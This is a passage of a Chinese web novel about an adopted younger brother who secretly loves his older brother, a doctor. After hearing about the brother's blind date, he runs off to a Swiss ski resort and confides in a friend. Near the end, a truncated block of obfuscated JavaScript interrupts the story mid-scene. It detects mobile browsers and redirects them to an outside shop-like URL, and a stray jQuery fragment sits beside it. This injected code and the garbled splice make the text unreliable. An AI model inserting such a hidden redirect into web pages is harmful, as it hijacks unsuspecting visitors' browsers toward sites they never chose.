“应该在酒吧卡座上,我刚刚出来得太着急,就忘记了。”章长宁明确了手机的所在地,“二哥,你等我一下,我上去拿。” “不用,我去。” 章长叙打开车门,又不忘叮嘱,“就在车里坐着等我。” 章长宁不敢“惹”他二次生气,老实巴交,“哦。” … 章长叙重新乘坐电梯上了楼,酒吧的喧闹声再次传入了耳中。 他走向章长宁不久前所坐的位置,而这会儿卡座上的对象已经换了人。 章长叙礼貌出声,“不好意思,请问有没有看见一个手机,是布偶猫印花的手机壳。” 正在喝酒的安德鲁转过身,饶有兴致地打量着章长叙这张陌生的面容。 他起身,将才收入口袋中的手机拿出,“你是在找这个手机?” “是,谢谢。” 章长叙刚准备伸手去拿,结果安德鲁不着痕迹地将手机拿远了些。 “……” 章长叙眉心微蹙。 安德鲁耸了耸肩,“这位先生,请问你是谁?这手机是我朋友落下的,我不好随便转交给一个我不认识的陌生人。” 章长叙回答,“我是章长宁的哥哥,他在停车场等我。” “哥哥?” 安德鲁眯了眯眼,好奇打量,“亲哥哥?我怎么觉得你们俩一点儿不像是亲兄弟?” 章长叙脸色微沉,“这位先生,你什么意思?” “我叫安德鲁,是这次展会的主理人,也是宁的朋友。” 安德鲁对上章长叙的视线,没有惧怕,反而还有种说不上来的直觉。 就在不久前,他误以为章长宁带来的朋友柏续是单身,结果两人在露天阳台上聊天时,对方的未婚夫突然出现了。 柏续的未婚夫大概是将他视为“情敌”,眼神和气场里都带着属于同位者的护食。 而眼前的章长叙,也给了他这种感觉。 安德鲁常年在情爱之中游走,很多事情看得比旁人更透彻,圈内常说的“gay的雷达”更是准得不像话。 “……” “……” 如今四目相对,安德鲁突然联想到了一种微妙的可能性。 他笑了笑,诚心要替章长宁这位朋友打一波试探,“章先生,你别生气,我只是想向你打听一件事,毕竟你作为亲哥哥,肯定是这个世界上最了解他的人之一。” 章长叙压住气息,“什么?” 安德鲁一点儿不藏着掖着,“我曾经追求过宁,说实话,他的长相在我们这个圈子里很吃香,据我所知,他这两年的追求者两只手都数不过来。” 明明是在酒吧这种燥热的环境下,可章长叙眼色硬生生又冷了一度。 同性圈子? 章长宁从来没有和他透露过自己的性取向,从未。 安德鲁像是窥破了一丝不可能的可能,“但拒绝了我,也拒绝了其他的追求者,理由都是同一个,他说——” 章长叙蹙眉,问,“他说了什么?” 安德鲁越发确定自己的猜测,“宁说自己有一个暗恋了很久的对象,章先生,你知道那人是谁吗?” 19.【第019章】 章长宁只觉得自己在车里等了好一会儿,才在电梯出入口重新看见了章长叙的身影,对方快步走了回来,只是远远看着神色有些发沉。 没一会儿,章长叙就重新上了车。 ——砰! 关门的力道有些不同于往常的用力。 章长宁当下意识到不对劲,“哥?你怎么了?我手机没找到吗?” 话音刚落,章长叙就将手机递了过去,“以后像手机这样的重要物品别乱丢,放好了。” 语气又淡了下来,似乎还压抑着什么。 “喔。” 章长宁抿了抿唇,重新开启其他话题,“我们去哪里吃晚餐?要不我现在用手机搜搜?” 章长叙发动了这辆刚租来不久的车子,“不了,回酒店吧,我明后两天都很忙,今天太累了,想要早点回酒店休息。” “……” 怎么上去拿个手机的功夫,心情又不好了? 章长宁彻底确认了章长叙的低气压,听话表示,“好,那我们回酒店随便吃点。” 车子扬长而去。 四十分钟后,酒店入住办理完毕。 章长宁看着映入眼帘的大床房,愣了愣。 章长叙将行李箱靠边放置,说,“这次外出是占了学术研究的名额,住宿方面得符合医院的外务指标。” 能单独占一间房,而不是双人间,已经算是医院给他升级待遇了。 章长宁才意识到自己这回突发奇想跟来,没顾得上住宿安排,毕竟以往一块外出旅游,衣食住行确实由两位兄长全权负责。 章长宁问,“二哥,今晚一起睡的话,我会不会打扰到你休息啊?要不然,我去前台问问有没有空房?我单独在开一间?” “别麻烦了,你影响不到我。” 章长叙直接驳回了他的提议,将桌上的点菜单拿起,“可以点酒店内部餐,也可以点外卖,你看着来吧。” 章长宁蹙了蹙眉,也不急着点餐,“二哥,你是不是还在生气?” 他顿了顿,又解释,“我今天真的没喝几杯,也没醉,就等着你来接我呢。” “我没生气。” “你明明就生气了,从酒吧回酒店这一路,你压根就没和我说过话!” “……” 章长宁见他沉默,一时间委屈劲更盛了,“我都已经成年了,只是和朋友们喝几杯酒又怎么了?我又没和其他人乱来!你干嘛管我管得这么严!” 后半句话一冒头,章长叙的眉心就骤然发紧。 章长宁意识到自己过了头,欲言又止,“二哥,我……” 章长叙打断,“知道了,以后你自己的事情你自己做主,我不插手了。” “……” 章长宁没料到章长叙会顺着他的话应下,错愕,“二哥?” 章长叙压住那点沉闷的呼吸,“我有点累了,先去洗个澡,晚餐你随便点吧,如果不想吃的话就算了。” 说完,他就提着行李箱绕过了章长宁。 砰。 浴室的关门声响起。 章长宁被这一声敲打着才回过神,他侧身看着紧闭的浴室门,眼眶里蕴起了久违的酸涩。 无论是上大学之前,还是他毕业回国的这段时间,每当遇到冷脸的章长叙,只要章长宁变着法地撒娇,哪怕道歉只是口头流程,章长叙的严肃伪装就会不攻自破。 从来没有像刚刚这样。 ——我又没和其他人乱来!你干嘛管我管得这么严! ——知道了,以后你自己的事情你自己做主,我不插手了。 章长宁深呼吸了两口气,有些无措地攥紧了手里的点餐单。 浴室里响起淅淅沥沥的声响。 偏凉的水从头冲到了脚,但完全熄灭不了章长叙满心焦躁和不可控感—— “他的长相在我们这个圈子里很吃香,据我所知,他这两年的追求者两只手都数不过来。” “但他拒绝了我,也拒绝了其他的追求者。” “宁说自己有一个暗恋了很久的对象,章先生,你知道那人是谁吗?” “……” “看来章先生是不知道?不过也对,这种感情上的事,宁确实不好和自己的亲哥哥讲,如果章先生实在好奇,不妨找个机会问问他?” 脑海中不断盘旋着安德鲁的话。 越是回想,章长叙内心的无力感就越重,他自诩足够了解章长宁、了解他成长经历中的每一步,可安德鲁的话却给了他狠狠一击—— 章长宁喜欢男人? 而且还有一个暗恋了多年的对象? 对方从来没有和他提及过这事,想来是不愿意和他开口分享。 章长叙一想到这事,内心就滋生出一种难以压制的醋意,他甚至将章长宁从小到大接触过的男性对象在脑海中全部搜罗了一遍。 最终却是不了了之。 … 冷水一遍又一遍地冲刷着躁动而越界的心,终于,章长叙关闭了淋浴,借着浴巾的遮挡苦笑了一声。 章长宁说得没错,他已经成年了,他不再是小孩子,他不再需要被任何人管束着。 可笑的是身为兄长的他还停留在过去,自以为对方还会乖乖跟着他的身后、目光专注落在他的身上、听从他所有的关心和安排。 从始至终,都是他太自以为是了。 无论章长宁喜欢男生还是女生,他都没有过多的资格去审判,更不应该越界去吃不该有的飞醋。 浴室门再度打开。 洗漱完毕的章长叙刚一出门,章长宁就眼巴巴地凑了上来,“二哥,你、你洗完啦?我点了酒店餐,刚刚送到,你饿不饿?要不要吃一点?” 他小心翼翼观察着章长叙的神色,“二哥,我刚才不是故意和你生气的,你别怪我。” 章长叙哪里舍得怪他?何况刚才之所以有口角上的纷争,根本是他私心作祟。 章长宁又往前挪了半步,将两人的距离拉得更近,“二哥?” 语调又服软了些。 章长叙硬生生控住了想要揉他脑袋的手,“没怪你,是我的问题,我太喜欢酒吧那样乱糟糟的环境,怕你被有些别有用心的人带坏。” “不会的,我……”章长宁停顿两秒,改口保证,“我以后一定少去,好吗?” 章长叙说,“你自己的人生,你自己做主。” 章长宁扯了扯他的睡袍袖口,哼哼唧唧,“不行,我的人生还是想要被你管着的。” 他顿了顿,欲盖弥彰地补充,“还有爸妈、大哥,一家人都得管着我。” 章长叙没再继续这个话题,只说,“吃饭吧。” “好!” 章长宁立刻响应,拽着他的袖口往小桌走,“二哥,我点了你爱吃的!” … 不过酒店餐的厨艺有限,就是个普通西餐的标准,章长叙和章长宁简单垫饱了肚子,后者就抱着自己的换洗衣物进了浴室。 等到章长宁再出来时,章长叙已经替他更换好了床单四件套。 不过奇怪的是,他自己又换下了睡袍、穿上了便服。 章长宁一边擦着头发、一边笑着靠近,“哥,你怎么又把衣服给换上了?” 章长叙替他放置好睡眠香薰,这才转身说,“我去前台再开一间单人房,今晚你睡在这里。” “……” 章长宁的笑意凝固在脸上,有些错愕,“你刚刚不是还……” 章长叙垂下视线,淡淡的,让人看不清他的真实想法,“我明天要早起,怕影响你休息,何况……” 章长宁追问,“而且什么?” 章长叙酝酿了几秒,“你长大了,我们确实不应该像小时候那样,有条件的话,还是分开睡吧,免得传出去不好听。” 他不想因为自己的私心,而让章长宁传出一些不好的舆论。 平静的语调里是近乎无情的事实,仿佛所有的温情在这一刻成为了过往。 “……” 免得传出去不好听? 二哥他是发现什么了吗? 要不然今天对他的态度怎么一直怪怪的? 章长宁瞳孔颤了颤,有种内心隐秘被人看穿、揭破的无措,他不敢细问对方这句话里的意思,只能尽量维护着自己的面具。 “二哥,你是不是还在生我的气?” “没有,别多想。” 章长叙看着他还湿漉漉的头发,拼命克制了自己上手吹干的想法,“你头发吹干了再休息,我明天一早就要外出,等你睡醒了再联系?” 章长宁点了点头,不出声。 “晚安。” “……二哥晚安。” 房门关上,重重敲在了章长宁的心头,他茫然地盯着已经没了章长叙身影的门口,眼眶泛起一阵酸涩。 章长宁胡乱地拿毛巾捂了捂眼,呼吸却因为心慌有些发急。 他跌坐在床沿,拼命回想着自己这些天的所作所为,企图找出自己在言行举止上的漏洞,可回头一看—— 章长宁只觉得自己哪哪儿都是错。 明明回国前就已经做好了准备,可真正接触到章长叙后,他却忍不住一而再、再而三地越界。 是啊。 哪有“亲兄弟”成年后还同床而眠的? 章长叙一直都是那个有分寸的人,反倒是他,总是稀里糊涂就忘了自己真正应该遵守的底线。 章长宁傻傻地望着那扇随着章长叙的离去而紧闭的房门,苦涩又自嘲地笑了声—— 其实很多事情不是突然之间变的,而是早该到头了。 … 章长宁这一觉睡得很不安稳,没能及时吹干的头发更是诱发了一丝小感冒,他顶着头疼醒来,想了想还是给章长叙发了一条微信: “哥,我醒了,你今天什么时候可以忙完?” 直到傍晚,这条消息才有了回复: “宁宁抱歉,医院这边组织了饭局聚餐,今天很多医学教授都在,我晚上没办法陪你吃饭。” “……” 章长宁看见这条迟来的微信回复,不由感到失落,但他一直都清楚,章长叙这次来到新国有要事在身,并不是陪他来旅游胡闹的。 章长宁深呼了一口气,“没事,我正好也想要找朋友聚餐呢,哥,你别喝多了,回来的时候注意安全。” “好,你也是。” 回复来得很快,也很简略,想来是已经在忙碌了。 章长宁将手机搁在床头柜上,重新缩回在了被子里。 明明周围萦绕的是再熟悉不过的“家”的味道,可此刻的他体会不到一点该有的安稳,反倒陷入一种越来越深的孤寂中。 章长叙的忙碌不是口头说辞。 隔天的那例重要手术开始,他又耗费了将近十几个小时,直到晚上九点多,才随着其他医护人员回到了酒店。 叩叩。 章长叙压制住自己的疲倦,敲响了章长宁的房间门。 房门打开,四目相对。 “哥……” “宁宁……” 两人同时开口,又同时停住。 章长叙观察着章长宁有些不对劲的面色,“我这两天实在太忙了,你脸色怎么这么红,是不是不舒服?” 说着,他就想要出探章长宁的体温。 章长宁后撤半步,“哥,我没事,我这两天找朋友玩得挺好的,刚刚在洗澡,热了些。” “……” 章长叙的手停在离他咫尺近的地方,默默地收了回来,“那就好。” 章长宁露出再正常不过的笑容,“哥,我不是小孩子了,我能照顾我自己,你这两天也挺累的吧?明天早上还要坐飞机回国,今晚也早点回酒店房间休息吧?” 章长叙眉心微蹙,“宁宁?” 章长宁 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章长叙和管理一样早起上班,沈眠连忙招呼二儿子坐下吃早餐,“长叙,快来。” “嗯。” 章长叙应了一声,坐在自己固定位置上。 沈眠和丈夫章渡对视一眼,试探性地问,“长叙,这快到元旦了,你们医院有给你排班吗?” 章长叙昨天才确认了最新的排班表,“没,下半年一直连轴转,年假也一直没用,我是想好好休息一下,元旦假期加上休假,应该能多出四五天空闲。” 章渡点了点头,“这样才对,总得留点时间给自己。” 沈眠见时机到位,切入正题,“长叙,你还记得你邱叔叔家的女儿吗?沁沁,就比你小了一岁,你们俩幼儿园还是同班呢。” “……” 章长叙喝粥的动作一顿,已然明白了沈眠的意思。 知子莫若母。 沈眠往他身边移了移,晓之以理动之以情,“你刚毕业那会儿说还早、要忙工作进修,我和你爸都没逼你,可现在转眼就要三十了。” “你大哥结婚好几年,今年连孩子都生了,你可不能再推托下去了。” 章长叙没应答。 章渡干脆也加入了游说队伍,“你邱叔叔家和我们家也是知根知底的,邱沁那姑娘长得好看、性格也好、工作能力也强……” 章长叙出声,“爸,我现在还不想考虑这事。” 章渡说,“什么考不考虑的?又没让你们见了面就交往结婚,就是趁着你有空,你好歹去见见人家女孩子,你邱叔叔从小就中意你,他明里暗里都主动问过我好几回了,我总不好一直晾着人家。” 沈眠又说,“是啊,毕竟两家的交情摆在这里,总不好直接拂了对方的面子。” “这样吧,你要是不想单独去见,那等元旦我安排老邱和沁沁来家里做客。” “爸。” 章长叙眉心微蹙,显然更不喜欢这样的提议安排。 章渡见他左右说不通,“你这孩子……” 沈眠递给丈夫一道稍安勿躁的眼神,又温柔地拍了拍章长叙的肩膀,“长叙,只是见个面,合不合适的全看你们自己决定。” “……” 章长叙无奈地叹了口气。 有些东西,与其让双方父母掺和进来、乱点鸳鸯谱,还不如他们年轻人碰了面说清楚。 沈眠问,“好吗?” “知道了。” 章长叙知道是躲不开这一遭了,干脆主动出手停止这段小插曲,“你把她的联系方式推给我,我自己找时间。” 或许只有亲自和女生说清楚,才能杜绝后续双方家长没完没了的催促。 章渡和沈眠听见这话,相视一笑,“这才像话。” 章长叙不动声色地沉了口气,将剩下的早餐吃完,“时间差不多了,我先去上班了。” “好。” 沈眠笑盈盈地看着他起身,然后又将视线往二楼探了探,“小宁这孩子,怎么还没起?” “……” 章长叙顺势往二楼看去,却极快地收回了目光,“爸妈,我先出门了,你们慢慢吃。” “好,路上开车小心。” 直到章长叙走出了家门,二楼才传来了动静。 章渡瞧见自家小儿子的身影,喊了句,“怎么才起?你二哥前脚刚出了门。” “哦。” 章长宁哪里不知道对方正好出了门? 他就是偷偷看着对方的车子驶离,这才下了楼。 章长宁打开桌上的果酱,随手拿起一片燕麦面包涂抹,他看见沈眠今早尤其明显的雀跃,忍不住问,“妈,怎么了?你今天心情好像特别好。” “心情能不好吗?” 沈眠扬起笑容,像是发现新大陆般地小儿子分享,“你二哥总算舍得去相亲呢,还是你邱叔叔家的女儿。” 章渡也觉得这对郎才女貌的靠谱,“长叙这孩子,一开始还假装不乐意,结果还不是主动要了人家女孩子的联系方式?” “——砰。” 抹果酱的勺子失手掉在地上,发出清脆的一声响。 沈眠一惊,“哎哟,这是怎么了?” “没事,我擦擦!” 章长宁胡乱地抽了几张纸巾,像是逃避什么似地迅速蹲下身子。 过了大约半分钟,他才重新起身,迅速将沾着果酱和水渍的纸巾丢在了垃圾桶里,“哥要去相亲啊?” “是,估计就元旦前后吧,反正交给他们年轻人自己决定。” “喔,那实在是……” 章长宁压制住心底的钝痛,强颜欢笑,“太好了,他这个年纪确实是该找对象了。” 20.【第020章】 章长宁带着行李箱下楼的时候,家里只有佣人保姆在。 郑姨连忙停下手中的家务活,关切道,“小宁,你这是要去哪里?” “郑姨,我……”章长宁想了想,编了个还算过得去的借口,“这不是快到元旦了?我出门玩几天。” “怎么这么突然?” 郑姨在这个家的年头不断,一直将章长宁当成自己的小辈看待,“你去几天?和家里人说过了吗?” “……” 章长宁沉默。 他是临时起意要外出的,自然还没和章渡他们提前报备过。只是他一想到章长叙即将要去相亲的事,心里的酸涩就怎么都止不住。 “郑姨,我提前打的车已经在外面等了,再迟就要赶不上飞机了,先走了。” 章长宁没有正面回答郑姨的问题,而是提着行李箱就往外跑。 他怕自己继续留在家里,只会徒增难受,也怕自己会因为吃劲做出不理智的行为。 与其这样,还不如外出躲个清净。 … 帝京国际机场,航站楼的广播实时播报着登机讯息: “各位旅客请注意,华航CA861次前往瑞士的航班即将起飞,请带……” 章长宁的指尖在微信界面来回拨动,却始终不知道该怎么报备自己的外出情况,现在的他只想要一个人躲起来。 章渡和沈眠对于章长叙的催促没有错,章长叙愿意去见人家女孩子也没错,从始至终,大错特错的人只有他自己。 痛苦而残酷的情绪侵蚀着他的内心,将他花了好几年才搭建起来的屏障一点一点瓦解。 章长宁最终还是任性了一回儿,狠心将国内专用的手机关了机。 … 因为是临时起意,章长宁只能挑起飞时间最近的、合适的航班,于是就看中了圣莫里茨的滑雪小镇。 早些年,因为商确言酷爱滑雪之类的极限运动,年纪较长的商延枭和章长叙带他们两位弟弟都来过不少次。 章长宁对这个地方还算熟门熟路,在酒店办理完入住后,趁着时间还早,他就直接拿上自己的滑雪设备出了门。 直到长途飞行和运动后的疲惫双重袭来,覆盖了满心的酸楚,章长宁才肯回到了酒店的独栋小别墅。 他连滑雪服都懒得脱,径直就倒在了沙发上。 半梦半醒,时间一点一点地流逝,等到章长宁再次转醒时,窗外已经洋洋洒洒地飘起了雪。 一楼通向庭院的推拉门还没完全合上,寒风正呼呼地往里面灌,取暖壁炉里的炭火已经灭了,哪怕章长宁穿着足够厚实的滑雪服,可他也觉得浑身发冷。 他勉强自己爬了起来,走近浴室洗了个暖水澡,直到冰凉的手脚回温,他才钻进了被窝里,将自己裹成了一团。 酒店的床单用品都是一客一换的,床单被套带着最应该有的干净整洁,却也是最陌生的气息。 章长宁望着窗外的飘雪,思绪不知不觉就岔开了—— 他不是第一次入住这家酒店了,以往每回假期过来滑雪,章长叙总会给他带好贴身的床单被套,以防他认床睡不着。 章长宁内心的堵塞又卷土重来,他吸了吸鼻子,努力不去回想,可越是这样,记忆越是带着钩子一串一串地翻出。 “……” 如果他不是章家的养子就好了,这样或许还能有一丝追求章长叙的机会,可如果不是他足够幸运,或许他还待在那个偏僻的山区小城,也没有了和章长叙相遇的机会。 退一万步说,哪怕章家未来找回了那个失踪的孩子,他依旧不敢辜负章家的养育之恩,做出任何让章渡和沈眠伤心、失望的事。 或许,他的命运从一开始就是“死结”,是无解的。 “章长宁,别太贪得无厌了。” 章长宁将被子蒙住脑袋,是自嘲也是警告,“你算什么东西?做人不能既要又要。” … 章长宁忘了自己是何时又睡过去的,他做了一个梦—— 梦见自己突然出现在了婚礼现场,周围人都在忙碌,只有他呆愣在原地,不知道发生了什么。 “小宁啊,你怎么还站在这里呢?” “二哥?妈,这是?” “你这孩子怎么了?今天你二哥结婚,赶紧去休息室把长叙喊出来,让他别和你二嫂腻在一起了,出来迎接客人。” “……” 结、结婚? 章长宁心一颤。 沈眠又拍了拍他的手臂,“快去啊,二号休息室。” 章长宁被指挥着出了婚宴大厅,走向了边上的休息室,还没等他做好了心理准备敲门,一身新郎正装的章长叙就先推开门、出现在了他的眼前。 “……” “……” 四目相对,章长宁下意识地屏住了呼吸,“哥……” 他的视线往休息室里偏去,企图看清新娘子的长相,但章长叙更快一步地侧身挡住他的目光,冷静的声线里带着满满的占有欲,“里面还在换衣服,不能看。” “哦,对、对不起。” 章长宁的道歉一出口,声线就控制不住地在发颤。 “长宁。” “嗯?” “我想你应该明白,我是你哥,也只能是你哥哥,有些事情我不戳破,不代表我不知道。” 章长叙看着他,眼中带着洞悉一切的冷漠,甚至还有一丝从来没有出现过的厌恶。 ——砰! 章长宁的心脏像是被什么用力攥住,疼得几乎没办法在站立,“二哥,我……” “不用多说了,从今往后,我有我的家庭,你有你的人生,除了兄弟这层关系,我们不会再有其他交集了,你明白了吗?” “……明白。” “好,我先去宴厅接待客人,你自己找个地方调整一下情绪。” 说着,章长叙就不带一丝留恋地转身,快步走去了属于他的婚宴大厅。 章长宁的双腿像是灌了铅,无法再朝前多走一步,只能硬生生地看着眼前人离他越来越远,直至消失不见。 天旋地转。 章长宁再次醒来时,迷茫地有些分不清梦境还是现实,天还是黑蒙蒙的一片,雪已经停了,地面上都是积雪。 他后知后觉触及上自己的脸,才发现已经被睡梦中的眼泪沾湿了一片。 ……假的? 只是做梦? 二哥也没有厌恶他? 章长宁心有余悸地捂了一把脸,艰难起身,然后发现自己居然昏沉地睡了整整一个白天,这会儿已经是晚上七点了。 怪不得,这天又黑了。 章长宁又缓了半个小时,这才起床给自己灌了小半杯冰水。 他穿上厚实的羽绒服,又随便掏出一顶毛茸茸的小熊帽子、遮盖住了睡得乱糟糟的头发,出门往酒店的自助餐厅走去。 虽然胃已经饿过了头、没有发出任何抗议,但他还没有到要苛待自己的地步。 酒店餐厅是二十四小时的餐饮供应,二楼的落地窗还能眺望间远处的雪山,景观很不错。 章长宁随意点了份牛排意面,独自坐在角落享用着食物,晚餐才进行到一半,这份安静就被两位不速之客打断了。 “嘿,这位小熊先生,你是一个人来的吗?” “……” 章长宁抬眼,只见两位陌生的白人男子站定在他的餐桌前,眼里充斥着一丝令人不舒服的兴味。 “你成年了吗?看着很小很可爱,可以认识一下吗?” 毫不掩饰目的的搭讪言论,章长宁不是第一次听到,但此刻的他并没有心情委婉拒绝。 “不可以,我不希望我的晚餐时间被任何陌生人打扰。” 两位白人男子对视了一眼,没料到章长宁的拒绝来得这么干脆又强硬。 一般人遇到这种情况,就应该识趣离开了。 但眼前这两人反倒越发来劲,“小熊先生是华国人吧?真有趣,你别怕,我们俩没有恶意,只是……” “我管你们俩有没有恶意?” 章长宁撂下刀叉,被倒胃口的他起身就想要走,“你们不走,我走。” “欸!” 两人像是商量好的,一前一后又将他的路切断。 章长宁有些生气,再次重申,“我说了,我并不想认识你们!请你们放尊重点!” 大概是断定了章长宁落单,两名白人男子开始变本加厉地开起玩笑,“看啊,他发起脾气来倒是显得更可爱了,只是交个朋友,别那么紧张~” 说着,还吹起了口哨。 “……” 章长宁忍无可忍,“滚开!” 下一秒,一道意料之外的声线就传了过来,“你们想对我的朋友做什么?” “……” “……” 对峙中的三人纷纷偏过视线。 章长宁最先变了神色,“柏续,你怎么在这里?” 柏续快步上前,第一时间就将他拉到了自己身后保护区,“两位先生,麻烦你们离开。” 两位白人对视一眼,没皮没脸地流露出了更微妙的兴趣。 “果然,你们华裔都长得这么可爱。” “你们也是来这里度假滑雪的吧?正好结个伴?我们可以带着你们一块玩。” 章长宁对这两人的感观厌恶到了极致,他不愿意柏续被自己牵扯进这种事情中来,越发厉声呵斥,“谁想要和你们一块玩?我警告你们,别再缠着我和我朋友了!” 臭流氓! 他现在就让酒店安保过来! 这个想法冒头的一瞬间,商延枭就及时赶到了,“不好意思,麻烦请对我的恋人和弟弟尊重些!” 一米九的身高带着极强的威压,听着礼貌的话却是不容抗拒的冷漠。 “三哥!” 章长宁眸光骤亮,“三哥!” 他差点忘记了,有好友柏续的地方,肯定也会有商延枭在。 商延枭对上他的视线,指挥,“把其他人喊上来。” 章长宁反应迅速,假意掏出手机,“好的!” 两位白人男子原以为是捞到了落单小男生,没想到这才一会儿的功夫,他们在人数上就落了劣势,立刻收起不该有的搭讪心思,溜之大吉。 章长宁暗松了口气。 边上的柏续问,“长宁,你没事吧?” “没事。” 章长宁摇了摇头,他没想到自己会在异国他乡遇到熟人,心下有些惊喜,“三哥,柏续,你们怎么在这里?” 柏续反问,“我还想问你呢?你怎么一个人在这里?” 商延枭追问,“长叙也来了?” “……” 你们俩用不用这么默契? 章长宁撇了撇嘴,轻声揭过,“没,我自己一个人来的。” 没了以往提及章长叙的兴奋劲,柏续和商延枭对视一眼,几乎都看出了不对劲,“坐下聊?” “好。” 三人重新坐回角落的餐桌。 章长宁的晚餐还没吃完,但经过刚才那么一折腾,他已经没有食欲了,只好用叉子胡乱地搅动这餐盘里点缀的蔬菜。 柏续还没打算放过他,“长宁,你哥知道你来这里了吗?” “……” 章长宁自知躲不过这一问,只好避重就轻,“我没和我家里人说,就是在帝京待闷了,所以临时起意来玩玩。” 商延枭和他虽然没有血缘关系,但毕竟也算得上哥哥,立刻就“训”了他一句,“胡闹,总得给家里人报个平安。” 章长宁也不生气,嘟囔,“他们现在才没时间管我,好不容易逮到我二哥休假,忙着给他安排相亲呢。” 一不小心就把心里话说了出来。 章长宁抬眼看向商延枭,突然又想起了什么,“三哥,你别和我家里人说我在这里!” 本来这次就是他自己有了心结,实在是别扭地解不开才躲到这里的,他还没想好回去后要怎么解释呢。 商延枭不接话。 章长宁知道对方和章长叙的关系很好,几乎没有替他瞒住的可能性。 他只能将求助的目光看向了柏续,企图让对方帮着制止商延枭,“柏续,正好你们来了,我也算有个伴!是吧?” “……” 柏续笑了笑,似应非应。 恰时,餐厅服务员将他们点好的餐食送了上来。 商延枭像是生怕柏续饿着,转移话题,“先吃饭吧,长宁,你也再吃点。” 他又说,“铁盘边缘很烫,阿续,你小心别沾着手,我来。” 柏续温软应下,“好。” “……” 章长宁只觉得吃了满嘴狗粮,一时间也忘记了自己要交代的事,反过来问起他们,“三哥,柏续,你们这是在一起了?” 商延枭慢条斯理地切着牛勒条,将问题甩给身边的柏续,“你问他,我说了不算。” 后半句话,隐隐带着章长宁听不明白的怨念。 柏续饮了一口温柠檬水,回应里藏着打趣,“长宁,大人的事情小孩子别管。” 章长宁顿时不乐意,纠正,“柏续,我们俩一样大!” 柏续回答,“哦,我看你戴着小熊帽,小脸又白白嫩嫩的,很可爱,像小朋友。” “三哥,你看看!”章长宁试图告状,“柏续他调戏我!” 商延枭一心偏向身边人,“阿续说得没错,夸你显嫩呢。” “……” 章长宁选择性闭麦。 行吧。 说不过你们臭情侣。 … 或许是异国他乡有了熟人,章长宁沉闷了两天的情绪总算得以回转,甚至还和柏续约定好了明天一块去滑雪。 只可惜天公不作美,第二天一觉醒来,整个地区都发布了暴雪预警。 章长宁只好临时改变计划,继续在小木屋里窝着,他翻出已经关机了将近三天的国内手机,犹豫再三却还是不敢打开。 天色灰蒙蒙的,让人看着压抑。 章长宁再度觉得心烦意乱,总觉得要做点什么转移注意力。 这个天气,想来商延枭和柏续应该也待在酒店没出门,可他不好意思打扰正在度假的人,也怕自己的一言一行转头就被商延枭告知给章长叙。 章长宁想了又想,实在睡不着觉的他换了一身衣服,套了个帽子就冒雪出了门,好在酒店内部的娱乐设施够齐全—— 他在工作人员的指引下顺利找到了内部酒吧。 大概是天气缘故,这个点的酒吧没什么人,安安静静地很适合喝酒。 章长宁大手一挥点了一整桶的威士忌特调,然后找了一个相对角落的卡座坐下,辛辣的酒液入喉,一路灼烧到了胃部。 升腾而起的灼热盖过满心的愁绪,仿佛能让他短暂忘记了现实中的一切。 “酒啊,果然是好东西。” 章长宁的酒量中规中矩,但平常外出喝酒,总是有所保留的,可今晚的他只要彻底放肆,再也不听任何人的规劝。 酒液一杯就一杯地入喉,辛辣感刺激着他的五脏六腑,然后反噬着痛到了心里。 “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067838|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >啪嗒。 眼泪猝不及防地坠在杯内,一下接着一下。 章长宁无声抹掉眼泪,走到酒吧前台拨出了内部电话。 “喂,你好?” “柏续,是我……” 章长宁声线发颤着喊出好友的名字,他知道自己的情绪快失控了,可眼下除了柏续,他根本不知道还能找谁。 “长宁?你在哪里?你怎么了?” “我在酒店主厅的五楼酒吧,你、你来陪我喝两杯吧!我一个人太无聊了!”章长宁死死控住自己脆弱的情绪,假意轻松。 “你别让三哥跟过来!”章长宁顿了顿,哼唧, “我们不带他玩。” “好。” 电话那头的柏续应得很快,来得也很快。 章长宁笑着拍了拍自己身边的空位,“来了啊?坐!” 柏续坐下,“喝多少了?” 章长宁比出指头,“一点点。” “瞎说。”柏续拍了拍他的后背,开门见山,“长宁,到底怎么了?” “没事啊。” 章长宁强撑着,将留好的酒递给柏续,“我很好啊,你陪我喝点?” “我记得我们第一次见面就跑到酒吧喝酒了,后来还是被章医生带着离开的。” “……” 章长宁扭头避开柏续的视线,又给自己灌了一口酒。 “长宁,你这次偷跑出来是不是和家里吵架了?” “没,真没有。” “和章医生闹别扭了?” “……也没有。” 柏续将酒杯轻轻搁在桌面上,“长宁,我有没有和你说过,我看人很准?” 章长宁的嗓子眼被酸涩的情绪一再堵住,他沉默着挣扎了许久,终于憋不住地开了口,“柏续,你知道吗?其实我是章家收养的孩子。” “……” 柏续没有接话。 章长宁看出他的震惊,惨淡地笑了笑。 内心的桎梏终于有了松动,长年累月积攒的痛苦如同江河奔涌而出。 借着上升的酒劲,章长宁说了很多平日里从不敢跟其他人说的事—— 从他的身世,到他的成长,每一个记忆碎片里的关键词,都是满满当当的“章长叙”,直至最后被擅于观察的柏续戳破: “长宁,你、喜欢章长叙?” 不是兄弟间的那种喜欢,而是想要成为另一半的那种喜欢。 “……” 章长宁瞳孔猛地一颤。 这是他第一次听到外人戳破他这见不得光的暗恋。 章长宁欲言又止,很想要找到足够的借口去掩盖这一事实,可话到嘴边最终只有最无措、也最酸涩的一句。 “我不敢。” 他不敢、不配,也没有资格。 “……” 向来能言善道的柏续头一次没了安慰,而是主动又替章长宁续上了一桶威士忌特调,“喝吧,今晚我陪你多喝几杯。” “谢谢。” … 暴雪还没有要停下的迹象。 酒店迎宾看见这个点还有前来入住的客人,震惊之余连忙上前去接,“先生晚上好,欢迎,我来帮你拿行李?” “不用了,谢谢。” 章长叙并没有将自己随身携带的行李包交给对方,而是干脆走向前台。 前台管家立刻礼貌出声,“先生,晚上好,请问有什么可以帮忙的?” 章长叙问,“你好,还有多余的套房可以订吗?” 管家摇了摇头,“这位先生,很抱歉,我们今、明两天的住房都已经满了。” “……” 章长叙蹙眉。 他前天得到了商延枭的消息通知,才知道章长宁跑出了国,因为实在放心不下才临时订机票、甚至是转机赶来的。 